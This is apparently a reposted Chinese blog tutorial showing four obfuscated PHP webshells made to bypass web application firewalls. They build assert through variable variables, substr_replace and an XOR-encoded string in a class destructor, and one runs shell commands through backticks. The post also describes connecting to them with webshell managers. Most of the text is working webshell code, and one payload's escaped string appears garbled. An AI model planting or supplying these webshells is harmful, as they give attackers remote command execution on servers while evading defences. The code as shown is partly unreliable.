有一段php代码:

<?php
$h='f';
$$h=$_REQUEST['x'];                //$$h可以理解为先解析后边这个$h,然后在进行解析,最终解析成为$f
$d='CHECK';
$$d='ass';
$$d=$CHECK.'ert';
$CHECK($f);
?>

原理:参数f赋值给$h,$$h解析后为$f = $_REQUEST['x'];参数'CHECK'赋值给变量$d,$$d解析后为$CHECK = 'ass',再解析$$d为$CHECK = $CHECK.'ert',这一步也可以理解为将$CHECk.'ert'赋值给$CHECK变量,这个时候$CHECK为assert()命令执行函数,最终,命令为 $assert($_REQUEST['x']),

代码保存在phpstudy网站跟目录下,用自带调试的firefox浏览器中访问

 

 

 

 

 

 成功执行,也可以在url后接参数执行

 

 assert()既能代码执行,也能命令执行,

再看这样一段php代码

<?php 
//t.php  
$test = $_GET['r'];  
echo /*%00*//*!*/(`$test`)/*%00*//*%00*//*%00*/;
?>

echo语句之后,增加了很多内联注释干扰字段,没有实际意义,真正执行的是/*!*/(`$test`)/*%00*/,能够绕过WAF检测机制的是"!",另外反单引号(``)的作用就是将任何代码当作命令执行,同样的用自带调试功能的firefox访问php文件

 

 能够执行命令

另有如下一段php代码:

<?php 
$a = substr_replace("assexy","rt",4);  
$b = array(''=>$a($_REQUEST['q']));
var_dump($b);
?>

首先使用substr_replace()函数,将'assexy'中的'xy',替换为'rt',参数4的意思是从下标4开始替换,替换后$a = assert()代码和命令执行函数,$b为一个数组,'=>'为数组赋值,意思是将$_REQUEST['q']得到的值进行代码或命令执行,再将执行的结果赋值给数组,最后将数组打印出来,同样的,用firefox来看一下是否能访问

 

 

 同样是能够绕过WAF,执行命令

再如下面的一段php代码:

<?php
$pwd='123'; //将密码给一个变量保存,后面调用
class NMSL{
    function __destruct(){
        $HI='lKrRM{'^"xdx38x1x37x3fxf";
        return @$HI("$this->PFZE");
    }
}
$a='b';
$$a='NMSL';
$b=new NMSL();
@$b->PFZE=isset($_GET[$pwd])?base64_decode($_POST[$pwd]):$_POST[$pwd];  //调用$pwd变量
?>

将要解析的参数封装为一个类,创建一个对象,再经过base64加密解密,最终得到执行语句,用可调试的firefox进行测试,

 

 

 成功执行,用webshell工具(中国蚁剑)来连接测试

 

 这里用base64编码包裹一下,再来连接,因为再payload代码中,使用base64编码规则

 

 尝试连接时,显示错误,原因可能是网站安全狗(WAF)将工具的指纹信息加入了限制规则,无法连接

 

 再用webshell工具(中国菜刀)来连接,

 

 尝试连接时,网站防火墙直接显示阻止连接,所以也没能成功,

 

 以上的payload代码实测均可以绕过WAF执行命令或代码,但是部分webshell工具是连接失败的,总的来说payload逻辑没有问题。

 

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/zhaoyunxiang/p/15350160.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!